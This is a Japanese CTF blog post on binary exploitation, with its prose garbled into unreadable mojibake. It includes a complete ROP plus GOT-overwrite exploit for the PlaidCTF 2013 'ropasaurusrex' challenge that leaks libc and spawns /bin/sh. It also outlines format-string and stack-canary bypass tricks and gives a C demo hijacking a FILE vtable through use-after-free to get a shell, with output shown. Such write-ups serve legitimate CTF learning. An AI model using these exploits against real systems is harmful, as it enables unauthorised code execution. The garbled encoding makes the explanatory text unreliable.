ãã®è¨äºã¯ãCTF Advent Calendar 2016ã17æ¥ç®ã®è¨äºã§ãã
ã¡ããã¡ããè¦ããã¦ã¯ããã®ã ããå®æ¦ã§ããå¿ãã¦ãã¾ãã®ã§å¿ç¨ã®å¹ããããªãã®ãã¾ã¨ãã¦ããã
ROPããã®GOT overwrite
åç´ãªROPåé¡ã®å ´åãGOTã«ç½®ãããé¢æ°ã¢ãã¬ã¹ãèªã¿åºããå¾offsetããsystemé¢æ°ã®ã¢ãã¬ã¹ãè¨ç®ãããããç¨ãã¦system("/bin/sh")
ãå¼ã¶ã¨ããæµãã«ãªãã
æå¾ã®é¨åã¯Stack pivotã§ãã£ã¦ãããã®ã ããFull-RELROã§ãªãå ´åãããªãã¡GOTã®æ¸ãæããã§ããå ´åã¯GOT overwriteãã¦PLTçµç±ã§å¼ãã ã»ãã楽ã§ããã
x86ã§ROPããã ãã§200ç¹åããã¨ãã§ãããå¤ãããæ代ã®ropasaurusrex (PlaidCTF 2013)ã§ããã¨æ¬¡ã®ããã«ãªãã
from minipwn import * s = connect_process(['./ropasaurusrex-85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d']) """ 0804830c <write@plt>: 804830c: ff 25 14 96 04 08 jmp DWORD PTR ds:0x8049614 8048312: 68 08 00 00 00 push 0x8 8048317: e9 d0 ff ff ff jmp 80482ec <__gmon_start__@plt-0x10> 0804832c <read@plt>: 804832c: ff 25 1c 96 04 08 jmp DWORD PTR ds:0x804961c 8048332: 68 18 00 00 00 push 0x18 8048337: e9 b0 ff ff ff jmp 80482ec <__gmon_start__@plt-0x10> 80484b6: 5e pop esi 80484b7: 5f pop edi 80484b8: 5d pop ebp 80484b9: c3 ret """ plt_write = 0x804830c plt_read = 0x804832c got_write = 0x8049614 addr_pop3 = 0x80484b6 buf = 'A' * 140 buf += p32(plt_write) + p32(addr_pop3) + p32(1) + p32(got_write) + p32(4) buf += p32(plt_read) + p32(addr_pop3) + p32(0) + p32(got_write) + p32(12) buf += p32(plt_write) + 'AAAA' + p32(got_write+4) sendline(s, buf) """ $ ldd ./ropasaurusrex-85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d linux-gate.so.1 => (0xf77b1000) libc.so.6 => /lib32/libc.so.6 (0xf75ef000) /lib/ld-linux.so.2 (0x56637000) $ nm -D /lib32/libc.so.6 | grep -e write -e system 0003a920 W system 000d4490 W write """ data = s.recv(8192) addr_write = u32(data) print "[+] addr_write = %x" % addr_write addr_system = addr_write - 0xd4490 + 0x3a920 s.sendall(p32(addr_system) + '/bin/sh\x00') interact(s)
$ python solve.py [+] addr_write = f7679490 id uid=1000(user) gid=1000(user) groups=1000(user)
Stack pivotããªãã¦ããã®ã§ç°¡åã«ãªã£ãã
x64ã®å ´åã¯å¼æ°ãrdiã¬ã¸ã¹ã¿ã«å ¥ããå¿ è¦ãããããlibc_csu_init gadgetãé©å½ãªPLTãcallãã¦ããç®æã使ããã¨ã§ãªãã¨ã§ããªãã
GOT overwriteããã®ROP
éã«ãGOT overwriteãé¢æ°ãã¤ã³ã¿æ¸ãæãããpop-pop-ret gadgetãªã©ã«é£ã°ããã¨ã§ãã¹ã¿ãã¯ä¸ã®ãããã¡ã«ç½®ããROP chainã«ç¹ããã¨ããææ³ãç¥ããã¦ããã
ã¹ã¿ãã¯ä¸ã®ãããã¡ã«èªã¿è¾¼ãç®æï¼read(0, local_buf, 1000)
ãªã©ï¼ã«é£ã°ãã¦ãªã¿ã¼ã³ã¢ãã¬ã¹ãæ¸ãæããç¡çããROPã«æã£ã¦ããã¨ããææ³ãããã
å¤ãã®å ´åstack canaryã®ãã§ãã¯ãããããåãã£ã¦__stack_chk_fail
ã®GOTãret gadgetãªã©ã«æ¸ãæãã¦ããã°ééã§ããã
GOT overwriteããã®Format String Attack
ä»»æã®å
¥åãä¸ãããã¨ãã§ããatoi(buf)
ã®ãããªé¢æ°ã®GOTãprintfç³»é¢æ°ã«æ¸ãæãããã¨ã§ãç¡çããFormat String Attackã«æã£ã¦ãããã¨ãã§ããã
ããã«ãããã¹ã¿ãã¯ä¸ã«ç½®ãããlibcãã¹ã¿ãã¯ããã¼ãã®ã¢ãã¬ã¹ããªã¼ã¯ãã¦ãASLRãåé¿ã§ããã
stdin/stdout/stderræ¸ãæãããã®EIP奪å
ã½ã¼ã¹ã³ã¼ãä¸ã«æ¬¡ã®ãããªå¦çãåå¨ããå ´åãå®è¡ãã¡ã¤ã«ã®bssä¸ã«stdin/stdout/stderrã¸ã®ãã¤ã³ã¿ãç½®ãããã
$ cat test.c #include <stdio.h> int main() { char buf[100]; fprintf(stderr, "stdin=%p, stdout=%p, stderr=%p\n", &stdin, &stdout, &stderr); fgets(buf, 100, stdin); fputs(buf, stdout); return 0; } $ gcc test.c -o test $ ./test stdin=0x601070, stdout=0x601060, stderr=0x601080 AAAA AAAA
ãããã®ãã¤ã³ã¿ã¯_IO_FILE_plusæ§é ä½ãæãã¦ããããã®æ§é ä½ã¯é¢æ°ãã¼ãã«ã¸ã®ãã¤ã³ã¿ï¼vtableï¼ãæã£ã¦ããã ãããã£ã¦ãbssä¸ã®ãã¤ã³ã¿ãé©å½ãªãããã¡ãæãããã«æ¸ãæããfgetsçãå¼ã°ããéã«åç §ãããé¢æ°ãã¼ãã«å ã®ãã¤ã³ã¿ãã³ã³ããã¼ã«ããã°ãä»»æã®ã¢ãã¬ã¹ã«é£ã°ããã¨ãã§ããã
- File Stream Pointer Overflows Paper.
- abusing the FILE structure « codeblog
- katagaitai CTFåå¼·ä¼ #2 pwnablesç·¨ - PlaidCTF 2013 pwn200 ropasaurusrex (pp.203-204)
ãªããfopené¢æ°ãè¿ããã¤ã³ã¿ãå®ä½ã¯_IO_FILE_plusæ§é ä½ãªã®ã§ãuse-after-freeã¨çµã¿åããããã¨ã§åæ§ã«EIP奪åãã§ããã
#include <stdio.h> #include <stdlib.h> #include <string.h> void wontcall() { system("false"); } int main() { char *p1 = malloc(0x220); printf("p1 = %p\n", p1); free(p1); FILE *fp = fopen("/etc/passwd", "r"); printf("fp = %p\n", fp); void *got_system = 0x601028; memset(p1, 'A', 0xd8); strcpy(p1, "\x01\x80;/bin/sh"); /* _IO_FILE_plus.file._flags & _IO_USER_LOCK ï¼= 0 */ *(void **)(p1+0xd8) = got_system-0x10; /* _IO_FILE_plus.vtable->__finish == got_system */ fclose(fp); return 0; }
$ gcc uaf-fopen.c -o uaf-fopen uaf-fopen.c: In function âmainâ: uaf-fopen.c:19:24: warning: initialization makes pointer from integer without a cast [-Wint-conversion] void *got_system = 0x601028; ^ $ ldd ./uaf-fopen linux-vdso.so.1 => (0x00007ffeff303000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f792b872000) /lib64/ld-linux-x86-64.so.2 (0x000055f30352e000) $ /lib/x86_64-linux-gnu/libc.so.6 GNU C Library (Ubuntu GLIBC 2.23-0ubuntu3) stable release version 2.23, by Roland McGrath et al. (snip) $ ./uaf-fopen p1 = 0x1234010 fp = 0x1234010 sh: 1: �: not found $ id uid=1000(user) gid=1000(user) groups=1000(user) $ Segmentation fault (core dumped)
ãªããglibc 2.24以éã§ã¯ãã§ãã¯ãå ãããã¦ãããããã